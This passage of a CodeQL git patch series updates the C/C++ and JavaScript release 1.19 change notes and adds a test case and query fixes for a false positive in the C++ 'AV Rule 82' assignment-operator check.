b/python/ql/test/query-tests/Expressions/Regex/test.py index 6a5742a8613..53576557394 100644 --- a/python/ql/test/query-tests/Expressions/Regex/test.py +++ b/python/ql/test/query-tests/Expressions/Regex/test.py @@ -133,3 +133,6 @@ VERBOSE_REGEX = r""" # Compiled regular expression marking it as verbose ODASA_6786 = re.compile(VERBOSE_REGEX, re.VERBOSE) + +#Named group with caret and empty choice. +re.compile(r'(?:(?P^(?:|x)))') From da1bf0601fed2957e8c1896684fd2bc9a9ea0c92 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 09:28:42 +0000 Subject: [PATCH 07/25] Sort tables alphabetically --- change-notes/1.19/analysis-cpp.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/change-notes/1.19/analysis-cpp.md b/change-notes/1.19/analysis-cpp.md index f7391c150fb..75e28c3210b 100644 --- a/change-notes/1.19/analysis-cpp.md +++ b/change-notes/1.19/analysis-cpp.md @@ -7,39 +7,39 @@ | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| | Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Enabled by default. | -| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | This query finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Enabled by default. | | Cast from `char*` to `wchar_t*` | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Enabled by default on LGTM. | | Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Enabled by default on LGTM. | | Inconsistent direction of for loop | correctness, external/cwe/cwe-835 | This query detects `for` loops where the increment and guard condition don't appear to correspond. Enabled by default on LGTM. | | Incorrect Not Operator Usage | security, external/cwe/cwe-480 | This query finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Available but not displayed by default on LGTM. | | NULL application name with an unquoted path in call to CreateProcess | security, external/cwe/cwe-428 | This query finds unsafe uses of the `CreateProcess` function. Available but not displayed by default on LGTM. | +| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | This query finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Enabled by default. | ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| | Array offset used before range check | More results and fewer false positive results | The query now recognizes array accesses in different positions within the expression. False positives where the range is checked before and after the array access have been fixed. | +| AV Rule 164 | Fewer false positive results | This query now accounts for explicit casts. | +| Call to memory access function may overflow buffer | More correct results | Array indexing with a negative index is now detected by this query. | +| Comparison result is always the same | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | | Empty branch of conditional | Fewer false positive results | The query now recognizes commented blocks more reliably. | | Expression has no effect | Fewer false positive results | Expressions in template instantiations are now excluded from this query. | | Global could be static | Fewer false positive results | Variables with declarations in header files are now excluded from this query. | -| Resource not released in destructor | Fewer false positive results | Placement new is now excluded from the query. Also fixed an issue where false positives could occur if the destructor body was not in the snapshot. | | Memory is never freed | Fewer false positive results | This query now accounts for C++ _placement new_, which returns a pointer that does not need to be freed. | | Missing return statement (`cpp/missing-return`) | Visible by default | The precision of this query has been increased from 'medium' to 'high', which makes it visible by default in LGTM. It was 'medium' in release 1.17 and 1.18 because it had false positives due to an extractor bug that was fixed in 1.18. | | Missing return statement | Fewer false positive results | The query is now produces correct results when a function returns a template-dependent type, or makes a non-returning call to another function. | | Multiplication result converted to larger type (`cpp/integer-multiplication-cast-to-long`) | Fewer false positive results | Char-typed numbers are no longer considered to be potentially large. | +| Negation of unsigned value | Fewer false positive results | This query now accounts for explicit casts. | | Non-virtual destructor in base class (`cpp/virtual-destructor`) | Fewer false positive results | This query was copied from file `AV Rule 78.ql` to `NonVirtualDestructorInBaseClass.ql` and renamed from "No virtual destructor" to "Non-virtual destructor in base class". The new version ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query id `cpp/virtual-destructor` and is displayed by default on LGTM, while `AV Rule 78.ql` is not run on LGTM. | | Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive results | This query now ignores any return statements that are unreachable. | -| Static array access may cause overflow | More correct results | Data flow to the size argument of a buffer operation is now checked in this query. | -| Call to memory access function may overflow buffer | More correct results | Array indexing with a negative index is now detected by this query. | +| Resource not released in destructor | Fewer false positive results | Placement new is now excluded from the query. Also fixed an issue where false positives could occur if the destructor body was not in the snapshot. | | Self comparison | Fewer false positive results | Code inside macro invocations is now excluded from the query. | -| Suspicious call to memset | Fewer false positive results | Types involving decltype are now correctly compared. | +| Static array access may cause overflow | More correct results | Data flow to the size argument of a buffer operation is now checked in this query. | | Suspicious add with sizeof | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from this query. | -| Wrong type of arguments to formatting function | Fewer false positive results | False positive results involving typedefs have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | -| AV Rule 164 | Fewer false positive results | This query now accounts for explicit casts. | -| Negation of unsigned value | Fewer false positive results | This query now accounts for explicit casts. | -| Variable scope too large | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from this query. | -| Comparison result is always the same | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | +| Suspicious call to memset | Fewer false positive results | Types involving decltype are now correctly compared. | | Unsigned comparison to zero | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | +| Variable scope too large | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from this query. | +| Wrong type of arguments to formatting function | Fewer false positive results | False positive results involving typedefs have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | ## Changes to QL libraries From a78ded75518aa24887b8715478b46ef19a01b72c Mon Sep 17 00:00:00 2001 From: Jonas Jensen Date: Tue, 4 Dec 2018 11:09:35 +0100 Subject: [PATCH 08/25] C++: Demonstrate FP in AV Rule 82 The added test is a reduced version of a FP observed in the wild. --- .../4.10 Classes/AV Rule 82/AV Rule 82.cpp | 24 +++++++++++++++++++ .../AV Rule 82/AV Rule 82.expected | 3 +++ 2 files changed, 27 insertions(+) diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp index dd4b390f876..5067c35e802 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp @@ -181,11 +181,35 @@ private: Forgivable operator=(int *_val); }; +// This template has structure similar to `std::enable_if`. +template +struct second { + typedef T type; +}; + +struct TemplatedAssignmentGood { + template + typename second::type operator=(T val) { // GOOD [FALSE POSITIVE] + return *this; + } +}; + +struct TemplatedAssignmentBad { + template + typename second::type operator=(T val) { // BAD (missing &) + return *this; + } +}; + int main() { Container c; c = c; TemplateReturnAssignment tra(1); tra = 2; tra = true; + TemplatedAssignmentGood taGood; + taGood = 3; + TemplatedAssignmentBad taBad; + taBad = 4; return 0; } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected index 15e166499d4..9622cf7d0a1 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected @@ -2,3 +2,6 @@ | AV Rule 82.cpp:24:8:24:16 | operator= | Assignment operator in class Bad2 should have return type Bad2&. Otherwise a copy is created at each call. | | AV Rule 82.cpp:63:29:63:29 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | | AV Rule 82.cpp:63:29:63:37 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | +| AV Rule 82.cpp:192:55:192:63 | operator= | Assignment operator in class TemplatedAssignmentGood does not return a reference to *this. | +| AV Rule 82.cpp:199:52:199:52 | operator= | Assignment operator in class TemplatedAssignmentBad does not return a reference to *this. | +| AV Rule 82.cpp:199:52:199:60 | operator= | Assignment operator in class TemplatedAssignmentBad does not return a reference to *this. | From 8ac427c3871366a0022a38f405b05f9e1087d3ca Mon Sep 17 00:00:00 2001 From: Jonas Jensen Date: Tue, 4 Dec 2018 11:13:11 +0100 Subject: [PATCH 09/25] C++: Add missing getUnspecifiedType in AV Rule 82 Adding this call to `getUnspecifiedType` makes the error message better in the presence of typedefs and qualifiers on an assignment operator return type. It's also needed to avoid losing valid results in the commit that comes after this. --- cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql | 2 +- .../query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql index 4624cd29931..edebcd8668c 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql @@ -76,7 +76,7 @@ predicate assignOperatorWithWrongType(Operator op, string msg) { and exists(op.getBlock()) and exists(Class c | c = op.getDeclaringType() - and op.getType() = c + and op.getType().getUnspecifiedType() = c and msg = "Assignment operator in class " + c.getName() + " should have return type " + c.getName() + "&. Otherwise a copy is created at each call." ) } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected index 9622cf7d0a1..ce89382b1d5 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected @@ -3,5 +3,5 @@ | AV Rule 82.cpp:63:29:63:29 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | | AV Rule 82.cpp:63:29:63:37 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | | AV Rule 82.cpp:192:55:192:63 | operator= | Assignment operator in class TemplatedAssignmentGood does not return a reference to *this. | -| AV Rule 82.cpp:199:52:199:52 | operator= | Assignment operator in class TemplatedAssignmentBad does not return a reference to *this. | +| AV Rule 82.cpp:199:52:199:52 | operator= | Assignment operator in class TemplatedAssignmentBad should have return type TemplatedAssignmentBad&. Otherwise a copy is created at each call. | | AV Rule 82.cpp:199:52:199:60 | operator= | Assignment operator in class TemplatedAssignmentBad does not return a reference to *this. | From 6239455a9104d0ebd51aa11b046d7d226a22ad75 Mon Sep 17 00:00:00 2001 From: Jonas Jensen Date: Tue, 4 Dec 2018 11:16:33 +0100 Subject: [PATCH 10/25] C++: Remove extra type check in AV Rule 82 These type checks were overlapping with `assignOperatorWithWrongType` is are no longer needed now that `assignOperatorWithWrongType` is improved. They were causing FPs and misleading error messages on uninstantiated templates. --- cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql | 2 -- .../test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp | 2 +- .../query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected | 2 -- 3 files changed, 1 insertion(+), 5 deletions(-) diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql index edebcd8668c..95d499dd187 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 82.ql @@ -51,7 +51,6 @@ predicate dereferenceThis(Expr e) { * This includes functions whose body is not in the database. */ predicate returnsPointerThis(Function f) { - f.getType().getUnspecifiedType() instanceof PointerType and forall(ReturnStmt s | s.getEnclosingFunction() = f and reachable(s) | // `return this` pointerThis(s.getExpr()) @@ -64,7 +63,6 @@ predicate returnsPointerThis(Function f) { * database. */ predicate returnsDereferenceThis(Function f) { - f.getType().getUnspecifiedType() instanceof ReferenceType and forall(ReturnStmt s | s.getEnclosingFunction() = f and reachable(s) | // `return *this` dereferenceThis(s.getExpr()) diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp index 5067c35e802..e4efc206a3a 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp @@ -189,7 +189,7 @@ struct second { struct TemplatedAssignmentGood { template - typename second::type operator=(T val) { // GOOD [FALSE POSITIVE] + typename second::type operator=(T val) { // GOOD return *this; } }; diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected index ce89382b1d5..ab1f306a7dd 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected @@ -2,6 +2,4 @@ | AV Rule 82.cpp:24:8:24:16 | operator= | Assignment operator in class Bad2 should have return type Bad2&. Otherwise a copy is created at each call. | | AV Rule 82.cpp:63:29:63:29 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | | AV Rule 82.cpp:63:29:63:37 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | -| AV Rule 82.cpp:192:55:192:63 | operator= | Assignment operator in class TemplatedAssignmentGood does not return a reference to *this. | | AV Rule 82.cpp:199:52:199:52 | operator= | Assignment operator in class TemplatedAssignmentBad should have return type TemplatedAssignmentBad&. Otherwise a copy is created at each call. | -| AV Rule 82.cpp:199:52:199:60 | operator= | Assignment operator in class TemplatedAssignmentBad does not return a reference to *this. | From 2e45c500670d5fdf4b2b77a8bfe79b4c6c0a0727 Mon Sep 17 00:00:00 2001 From: Max Schaefer Date: Tue, 4 Dec 2018 14:40:03 +0000 Subject: [PATCH 11/25] JavaScript: Correct change note for new query. "Hard-coded data interpreted as code" is run, but not shown by default. --- change-notes/1.19/analysis-javascript.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/change-notes/1.19/analysis-javascript.md b/change-notes/1.19/analysis-javascript.md index ce0a38a1559..2572c5058dd 100644 --- a/change-notes/1.19/analysis-javascript.md +++ b/change-notes/1.19/analysis-javascript.md @@ -23,7 +23,7 @@ |-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). Results are not shown on LGTM by default. | | File data in outbound network request | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request. Results are not shown on LGTM by default. | -| Hard-coded data interpreted as code | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are shown on LGTM by default. | +| Hard-coded data interpreted as code | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are not shown on LGTM by default. | | Host header poisoning in email generation | security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. | | Replacement of a substring with itself (`js/identity-replacement`) | correctness, security, external/cwe/cwe-116 | Highlights string replacements that replace a string with itself, which usually indicates a mistake. Results shown on LGTM by default. | | Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. | From 62dc4861900ddc865995d903654608899b9293f3 Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 16:40:54 +0000 Subject: [PATCH 12/25] Add query ids and update descriptions --- change-notes/1.19/analysis-cpp.md | 62 +++++++++++++++---------------- 1 file changed, 30 insertions(+), 32 deletions(-) diff --git a/change-notes/1.19/analysis-cpp.md b/change-notes/1.19/analysis-cpp.md index 75e28c3210b..218abce7717 100644 --- a/change-notes/1.19/analysis-cpp.md +++ b/change-notes/1.19/analysis-cpp.md @@ -1,50 +1,48 @@ # Improvements to C/C++ analysis -## General improvements - ## New queries | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Enabled by default. | -| Cast from `char*` to `wchar_t*` | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Enabled by default on LGTM. | -| Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Enabled by default on LGTM. | -| Inconsistent direction of for loop | correctness, external/cwe/cwe-835 | This query detects `for` loops where the increment and guard condition don't appear to correspond. Enabled by default on LGTM. | -| Incorrect Not Operator Usage | security, external/cwe/cwe-480 | This query finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Available but not displayed by default on LGTM. | -| NULL application name with an unquoted path in call to CreateProcess | security, external/cwe/cwe-428 | This query finds unsafe uses of the `CreateProcess` function. Available but not displayed by default on LGTM. | -| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | This query finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Enabled by default. | +| Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Results are shown on LGTM by default. | +| Cast from `char*` to `wchar_t*` (`cpp/incorrect-string-type-conversion`) | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Results are shown on LGTM by default. | +| Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Results are shown on LGTM by default. | +| Inconsistent direction of for loop | correctness, external/cwe/cwe-835 | Detects `for` loops where the increment and guard condition don't appear to correspond. Results are shown on LGTM by default. | +| Incorrect Not Operator Usage | security, external/cwe/cwe-480 | Finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Results are hidden on LGTM by default. | +| Non-virtual destructor in base class (`cpp/virtual-destructor`) | reliability, readability, language-features | This query, `NonVirtualDestructorInBaseClass.ql`, is a replacement in LGTM for the query: No virtual destructor (`AV Rule 78.ql`). The new query ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query identifier, `cpp/virtual-destructor`, and results are displayed by default on LGTM. The old query is no longer run on LGTM. | +| `NULL` application name with an unquoted path in call to `CreateProcess` (`cpp/unsafe-create-process-call`) | security, external/cwe/cwe-428 | Finds unsafe uses of the `CreateProcess` function. Results are hidden on LGTM by default. | +| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | Finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Results are shown on LGTM by default. | ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| -| Array offset used before range check | More results and fewer false positive results | The query now recognizes array accesses in different positions within the expression. False positives where the range is checked before and after the array access have been fixed. | -| AV Rule 164 | Fewer false positive results | This query now accounts for explicit casts. | -| Call to memory access function may overflow buffer | More correct results | Array indexing with a negative index is now detected by this query. | -| Comparison result is always the same | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | -| Empty branch of conditional | Fewer false positive results | The query now recognizes commented blocks more reliably. | -| Expression has no effect | Fewer false positive results | Expressions in template instantiations are now excluded from this query. | -| Global could be static | Fewer false positive results | Variables with declarations in header files are now excluded from this query. | -| Memory is never freed | Fewer false positive results | This query now accounts for C++ _placement new_, which returns a pointer that does not need to be freed. | -| Missing return statement (`cpp/missing-return`) | Visible by default | The precision of this query has been increased from 'medium' to 'high', which makes it visible by default in LGTM. It was 'medium' in release 1.17 and 1.18 because it had false positives due to an extractor bug that was fixed in 1.18. | -| Missing return statement | Fewer false positive results | The query is now produces correct results when a function returns a template-dependent type, or makes a non-returning call to another function. | +| Array offset used before range check (`cpp/offset-use-before-range-check`) | More results and fewer false positive results | Now recognizes array accesses in different positions within the expression. Code where the range is checked before and after the array access is no longer highlighted. Non-LGTM | +| AV Rule 164 (`cpp/jsf/av-rule-164`) | Fewer false positive results | Now accounts for explicit casts. Non-LGTM | +| Call to memory access function may overflow buffer (`cpp/overflow-buffer`) | More correct results | Array indexing with a negative index is now detected by this query. Non-LGTM | +| Comparison result is always the same (`cpp/constant-comparison`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | +| Empty branch of conditional (`cpp/empty-block`) | Fewer false positive results | Now recognizes commented blocks more reliably. | +| Expression has no effect (`cpp/useless-expression`) | Fewer false positive results | Expressions in template instantiations are now excluded from results. | +| Global could be static (`TODO`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. Non-LGTM | +| Memory is never freed (`cpp/memory-never-freed`)| Fewer false positive results | No longer highlights uses of C++ _placement new_, which returns a pointer that does not need to be freed. Non-LGTM | +| Missing return statement (`cpp/missing-return`) | Fewer false positive results, visible by default | Improved results when a function returns a template-dependent type, or makes a non-returning call to another function. Precision increased from 'medium' to 'high' so that alerts are shown by default in LGTM. | | Multiplication result converted to larger type (`cpp/integer-multiplication-cast-to-long`) | Fewer false positive results | Char-typed numbers are no longer considered to be potentially large. | -| Negation of unsigned value | Fewer false positive results | This query now accounts for explicit casts. | -| Non-virtual destructor in base class (`cpp/virtual-destructor`) | Fewer false positive results | This query was copied from file `AV Rule 78.ql` to `NonVirtualDestructorInBaseClass.ql` and renamed from "No virtual destructor" to "Non-virtual destructor in base class". The new version ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query id `cpp/virtual-destructor` and is displayed by default on LGTM, while `AV Rule 78.ql` is not run on LGTM. | -| Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive results | This query now ignores any return statements that are unreachable. | -| Resource not released in destructor | Fewer false positive results | Placement new is now excluded from the query. Also fixed an issue where false positives could occur if the destructor body was not in the snapshot. | -| Self comparison | Fewer false positive results | Code inside macro invocations is now excluded from the query. | -| Static array access may cause overflow | More correct results | Data flow to the size argument of a buffer operation is now checked in this query. | -| Suspicious add with sizeof | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from this query. | -| Suspicious call to memset | Fewer false positive results | Types involving decltype are now correctly compared. | -| Unsigned comparison to zero | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | -| Variable scope too large | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from this query. | -| Wrong type of arguments to formatting function | Fewer false positive results | False positive results involving typedefs have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | +| Negation of unsigned value (`cpp/jsf/av-rule-165`) | Fewer false positive results | Now accounts for explicit casts. Non-LGTM | +| No virtual destructor (`cpp/jsf/av-rule-78`) | No results in LGTM | This query is part of the [Joint Strike Fighter](http://www.stroustrup.com/JSF-AV-rules.pdf) suite which defines strict coding rules for air vehicles. Its query identifier has been revised to reflect this. On LGTM this query has been replaced by the similar query "Non-virtual destructor in base class", see New queries above. The new query highlights only code that is likely to be a problem in the majority of projects. | +| Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive results | Any return statements that are unreachable are now ignored. | +| Resource not released in destructor (`cpp/resource-not-released-in-destructor`) | Fewer false positive results | No longer highlights uses of C++ _placement new_ and results are no longer reported for resources where the destructor body is not in the snapshot database. | +| Self comparison (`cpp/comparison-of-identical-expressions`) | Fewer false positive results | Code inside macro invocations is now excluded from the query. | +| Static array access may cause overflow (`cpp/static-buffer-overflow`) | More correct results | Data flow to the `size` argument of a buffer operation is now checked in this query. | +| Suspicious add with sizeof (`cpp/suspicious-add-sizeof`) | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from results. | +| Suspicious call to memset (`cpp/suspicious-call-to-memset`) | Fewer false positive results | Types involving `decltype` are now correctly compared. Non-LGTM | +| Unsigned comparison to zero (`cpp/unsigned-comparison-zero`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | +| Variable scope too large (`TODO`) | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from results. | +| Wrong type of arguments to formatting function (`cpp/wrong-type-format-argument`) | Fewer false positive results | False positive results involving `typedef`s have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | ## Changes to QL libraries -* Added a hash consing library (`semmle.code.cpp.valuenumbering.HashCons`) for structural comparison of expressions. Unlike the existing library for global value numbering, this library implements a pure syntactic comparison of expressions and will equate expressions even if they may not compute the same value. -* The `Buffer.qll` library has more conservative treatment of arrays embedded in structs. This reduces false positives in a number of security queries, especially `cpp/overflow-buffer`. +* New hash consing library (`semmle.code.cpp.valuenumbering.HashCons`) for structural comparison of expressions. Unlike the existing library for global value numbering, this library implements a pure syntactic comparison of expressions and will equate expressions even if they may not compute the same value. +* The `Buffer.qll` library has more conservative treatment of arrays embedded in structs. This reduces false positive results in a number of security queries, especially `cpp/overflow-buffer`. * Pre-C99 encodings of _flexible array members_ are recognized more reliably. * Arrays of zero size are now treated as a special case. * The library `semmle.code.cpp.dataflow.RecursionPrevention` is now deprecated. It was an aid for transitioning data-flow queries from 1.16 to 1.17, and it no longer has any function. Imports of this library should simply be deleted. From 0c283c024d3389b6c1bb4191e1891cbd9bc7886e Mon Sep 17 00:00:00 2001 From: Felicity Chapman Date: Tue, 4 Dec 2018 16:43:57 +0000 Subject: [PATCH 13/25] Split query changes into LGTM/non-LGTM queries --- change-notes/1.19/analysis-cpp.md | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/change-notes/1.19/analysis-cpp.md b/change-notes/1.19/analysis-cpp.md index 218abce7717..fa1c6efe22d 100644 --- a/change-notes/1.19/analysis-cpp.md +++ b/change-notes/1.19/analysis-cpp.md @@ -13,32 +13,37 @@ | `NULL` application name with an unquoted path in call to `CreateProcess` (`cpp/unsafe-create-process-call`) | security, external/cwe/cwe-428 | Finds unsafe uses of the `CreateProcess` function. Results are hidden on LGTM by default. | | Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | Finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Results are shown on LGTM by default. | -## Changes to existing queries +## Changes to existing LGTM queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| -| Array offset used before range check (`cpp/offset-use-before-range-check`) | More results and fewer false positive results | Now recognizes array accesses in different positions within the expression. Code where the range is checked before and after the array access is no longer highlighted. Non-LGTM | -| AV Rule 164 (`cpp/jsf/av-rule-164`) | Fewer false positive results | Now accounts for explicit casts. Non-LGTM | -| Call to memory access function may overflow buffer (`cpp/overflow-buffer`) | More correct results | Array indexing with a negative index is now detected by this query. Non-LGTM | | Comparison result is always the same (`cpp/constant-comparison`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | | Empty branch of conditional (`cpp/empty-block`) | Fewer false positive results | Now recognizes commented blocks more reliably. | | Expression has no effect (`cpp/useless-expression`) | Fewer false positive results | Expressions in template instantiations are now excluded from results. | -| Global could be static (`TODO`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. Non-LGTM | -| Memory is never freed (`cpp/memory-never-freed`)| Fewer false positive results | No longer highlights uses of C++ _placement new_, which returns a pointer that does not need to be freed. Non-LGTM | | Missing return statement (`cpp/missing-return`) | Fewer false positive results, visible by default | Improved results when a function returns a template-dependent type, or makes a non-returning call to another function. Precision increased from 'medium' to 'high' so that alerts are shown by default in LGTM. | | Multiplication result converted to larger type (`cpp/integer-multiplication-cast-to-long`) | Fewer false positive results | Char-typed numbers are no longer considered to be potentially large. | -| Negation of unsigned value (`cpp/jsf/av-rule-165`) | Fewer false positive results | Now accounts for explicit casts. Non-LGTM | | No virtual destructor (`cpp/jsf/av-rule-78`) | No results in LGTM | This query is part of the [Joint Strike Fighter](http://www.stroustrup.com/JSF-AV-rules.pdf) suite which defines strict coding rules for air vehicles. Its query identifier has been revised to reflect this. On LGTM this query has been replaced by the similar query "Non-virtual destructor in base class", see New queries above. The new query highlights only code that is likely to be a problem in the majority of projects. | | Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive 